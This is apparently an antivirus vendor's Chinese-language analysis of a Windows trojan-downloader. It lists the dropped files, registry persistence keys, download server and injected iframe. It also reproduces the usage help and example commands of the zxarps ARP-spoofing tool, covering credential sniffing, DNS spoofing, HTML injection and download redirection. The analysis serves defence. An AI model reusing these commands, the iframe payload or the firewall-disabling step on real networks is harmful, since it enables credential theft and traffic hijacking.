|
1 、病毒运行后衍生病毒文件到系统目录下，并删除自身：
%system32%\softmuma.exe
2 、修改注册表，添加启动项，以达到随机启动的目的：
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
键值 : 字串 : "Mick"="C:\WINDOWS\system32\softmuma.exe"
3 、修改系统时间为：
2002 年 3 月 3 日 19 点 02 分
4 、感染 htm/asp/php 文件，在文件尾部插入以下代码：
<iframe src=http://www.if56.cn/kan.htm width=0 height=0></iframe>
5 、遍历盘符，在指定路径下创建文本文件，以记录相关信息：
"c:/"
"C:\Program Files\NetMeeting\c.txt"
"d:/"
"C:\Program Files\NetMeeting\d.txt"
"e:/"
"C:\Program Files\NetMeeting\e.txt"
"f:/"
"C:\Program Files\NetMeeting\f.txt"
"g:/"
"C:\Program Files\NetMeeting\g.txt"
6 、 关闭系统防火墙服务，以降低系统安全性能：
在后台打开 cmd 用命令 c net stop sharedaccess 关闭系统防火墙服务
7 、指定注册表启动项，但未全部执行：
"Software\Microsoft\Windows\CurrentVersion\Run"
"c:\windows\1.exe"
"c:\windows\2.exe"
"c:\windows\3.exe"
"c:\windows\4.exe"
"c:\windows\5.exe"
"c:\windows\6.exe"
"c:\windows\7.exe"
"c:\windows\8.exe"
"c:\windows\9.exe"
"c:\windows\10.exe"
"c:\windows\11.exe"
"c:\windows\12.exe"
"c:\windows\13.exe"
"c:\windows\14.exe"
"c:\windows\15.exe"
"c:\windows\16.exe"
8 、连接网络，下载病毒文件到本机运行：
IP ： 59.34.198.33( 广东省湛江市 电信 )
域名： 0001.0168168.cn
下载地址： 0001.0168168.cn/1.exe
0001.0168168.cn/*.*
下载的病毒运行后衍生的文件：
%WINDIR%\11.exe
%WINDIR%\13.exe
%WINDIR%\winform.exe
%system32%\dh2104.dll
%system32%\moyu103.dll
%system32%\msfeed.exe
%system32%\mydata.exe
%system32%\nwizdh.exe
%system32%\nwizqjsj.dll
%system32%\nwizqjsj.exe
%system32%\nwizzhuxians.dll
%system32%\nwizzhuxians.exe
%system32%\packet.dll
%system32%\ravasktao.dll
%system32%\ravasktao.exe
%system32%\sevices.exe
%system32%\softmuma.exe
%system32%\visin.exe
%system32%\wanpacket.dll
%system32%\winform.dll
%system32%\wpcap.dll
%system32%\ztinetzt.dll
%system32%\ztinetzt.exe
%system32%\drivers\npf.sys
%system32%\drivers\usbinte.sys
%Program Files%\Internet Explorer\PLUGINS\System64.Sys
%Temp%\rxso.exe
%Temp%\tlso.exe
%Temp%\wgso.exe
%Temp%\wlso.exe
%Temp%\woso.exe
9 、下载的病毒增加的注册表启动项：
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\
{754FB7D8-B8FE-4810-B363-A788CD060F1F}\InProcServer32
键值 : 字串 : "@"="C:\Program Files\Internet Explorer\PLUGINS\System64.Sys"
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Active Setup\
Installed Components\{11716107-A10D-11cf-64CD-11115FE1CF41}
键值 : 字串 : "StubPath"="C:\WINDOWS\system32\nwizzhuxians.exe"
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Active Setup\
Installed Components\{6A202101-A04D-21cf-65CD-31FF5FE1CF20}
键值 : 字串 : "StubPath"="C:\WINDOWS\system32\mydata.exe"
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\
policies\Explorer\Run
键值 : 字串 : "visin"="C:\WINDOWS\system32\visin.exe"
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
键值 : 字串 : " Microsoft Autorun1"="C:\WINDOWS\system32\nwizdh.exe"
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
键值 : 字串 : " Microsoft Autorun14"="C:\WINDOWS\system32\ztinetzt.exe"
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
键值 : 字串 : "Microsoft Autorun7"="C:\WINDOWS\system32\nwizqjsj.exe"
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
键值 : 字串 : "Microsoft Autorun9"="C:\WINDOWS\system32\Ravasktao.exe"
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
键值 : 字串 : "rxsa"="C:\DOCUME~1\COMMAN~1\LOCALS~1\Temp\rxso.exe"
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
键值 : 字串 : "tlsa"="C:\DOCUME~1\COMMAN~1\LOCALS~1\Temp\tlso.exe"
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
键值 : 字串 : "wgsa"="C:\DOCUME~1\COMMAN~1\LOCALS~1\Temp\wgso.exe"
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
键值 : 字串 : "WinForm"="C:\WINDOWS\WinForm.exe"
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
键值 : 字串 : "wlsa"="C:\DOCUME~1\COMMAN~1\LOCALS~1\Temp\wlso.exe"
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
键值 : 字串 : "wosa"="C:\DOCUME~1\COMMAN~1\LOCALS~1\Temp\woso.exe"
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\NPF
键值 : 字串 : "ImagePath"="system32\drivers\npf.sys"
10 、该病毒下载的病毒可引起 DNS 欺骗：
Content-Encoding: Transfer-Encoding:
Content-Type: text/htmlHTTP/1.0
200HTTP/1.1 200DNS 欺骗 ( 修改应答包 )
%s -> %d.%d.%d.%d
DNS欺骗(构建应答包) %s -> %d.%d.%d.%d
pmac == NULL ??????
%d.%d.%d.%d -> %d.%d.%d.%d
[!] ProcessPacket -> send packet error. %d
[!] Forward thread send packet error
memory lack.
Scanning Alive Host......
%d: %15s %.2X-%.2X-%.2X-%.2X-%.2X-%.2X %s
Found Alive Host:
N/A[-] Get %s mac Error.
No interfaces found! Make sure WinPcap is installed.
Default Gateway . . : %s
Physical Address. . : %.2X-%.2X-%.2X-%.2X-%.2X-%.2X
%d. %s
IP Address. . . . . : %s
Error in pcap_findalldevs: %s
[*] Bind on %s %s...
Unable to open the adapter.%s is not supported by WinPcap
Bye!
Restoring the ARPTable......
Killing the SpoofThread......
Ctrl+C Is Pressed.
options:
-idx [index] 网卡索引号
-ip [ip] 欺骗的IP,用'-'指定范围,','隔开
-sethost [ip] 默认是网关,可以指定别的IP
-port [port] 关注的端口,用'-'指定范围,','隔开,没指定默认关注所有端口
-reset 恢复目标机的ARP表
-hostname 探测主机时获取主机名信息
-logfilter [string]设置保存数据的条件，必须+-_做前缀,后跟关键字,
','隔开关键字,多个条件'|'隔开 所有带+前缀的关键字都出现的包则写入
文件 带-前缀的关键字出现的包不写入文件 带_前缀的关键字一个符合则写入
文件(如有+-条件也要符合)
-save_a [filename] 将捕捉到的数据写入文件 ACSII模式
-save_h [filename] HEX模式
-hacksite [ip] 指定要插入代码的站点域名或IP, 多个可用','隔开,
没指定则影响所有站点
-insert [html code]指定要插入html代码
-postfix [string] 关注的后缀名，只关注HTTP/1.1 302
-hackURL [url] 发现关注的后缀名后修改URL到新的URL
-filename [name] 新URL上有效的资源文件名
-hackdns [string] DNS欺骗，只修改UDP的报文,多个可用','隔开 格式: 域名|IP，
www.aa.com|222.22.2.2,www.bb.com|1.1.1.1
-Interval [ms] 定时欺骗的时间间隔，单位:毫秒:默认是3000 ms
-spoofmode [1|2|3] 将数据骗发到本机,欺骗对象:1为网关,2为目标机,3为两者(默认)
-speed [kb] 限制指定的IP或IP段的网络总带宽,单位:KB
example: 嗅探指定的IP段中端口80的数据，并以HEX模式写入文件
zxarps.exe -idx 0 -ip 192.168.0.2-192.168.0.50 -port 80 -save_h sniff.log
FTP嗅探,在21或2121端口中出现USER或PASS的数据包记录到文件
zxarps.exe -idx 0 -ip 192.168.0.2 -port 21,2121
-spoofmode 2 -logfilter "_USER ,_PASS" -save_a sniff.log
HTTP web邮箱登陆或一些论坛登陆的嗅探,根据情况自行改关键字
zxarps.exe -idx 0 -ip 192.168.0.2-192.168.0.50 -port 80
-logfilter "+POST ,+user,+pass" -save_a sniff.log
用|添加嗅探条件,这样FTP和HTTP的一些敏感关键字可以一起嗅探
zxarps.exe -idx 0 -ip 192.168.0.2 -port 80,21 -logfilter
"+POST ,+user,+pass|_USER ,_PASS" -save_a sniff.log
如果嗅探到目标下载文件后缀是exe等则更改Location:为
http://xx.net/test.exe zxarps.exe
-idx 0 -ip 192.168.0.2-192.168.0.12,192.168.0.20-192.168.0.30
-spoofmode 3 -postfix ".exe,.rar,.zip" -hackurl http://xx.net/
-filename test.exe
指定的IP段中的用户访问到-hacksite中的网址则只显示
just for fun zxarps.exe -idx 0 -ip 192.168.0.2-192.168.0.99
-port 80 -hacksite 222.2.2.2,www.a.com,www.b.com -insert "just for fun"
指定的IP段中的用户访问的所有网站都插入一个框架代码
zxarps.exe -idx 0 -ip 192.168.0.2-192.168.0.99 -port 80 -insert ""
指定的两个IP的总带宽限制到20KB
zxarps.exe -idx 0 -ip 192.168.0.55,192.168.0.66 -speed 20
DNS欺骗 zxarps.exe -idx 0 -ip 192.168.0.55,192.168.0.66
-hackdns "www.aa.com|222.22.2.2,www.bb.com|1.1.1.1"
注： % System% 是一个可变路径。病毒通过查询操作系统来决定当前 System 文件夹的位置。
Windows2000/NT 中默认的安装路径是 C:\Winnt\System32 ， windows95/98/me 中默认的安装
路径是 C:\Windows\System ， windowsXP 中默认的安装路径是 C:\Windows\System32 。
|
病毒标签：
病毒上报信箱: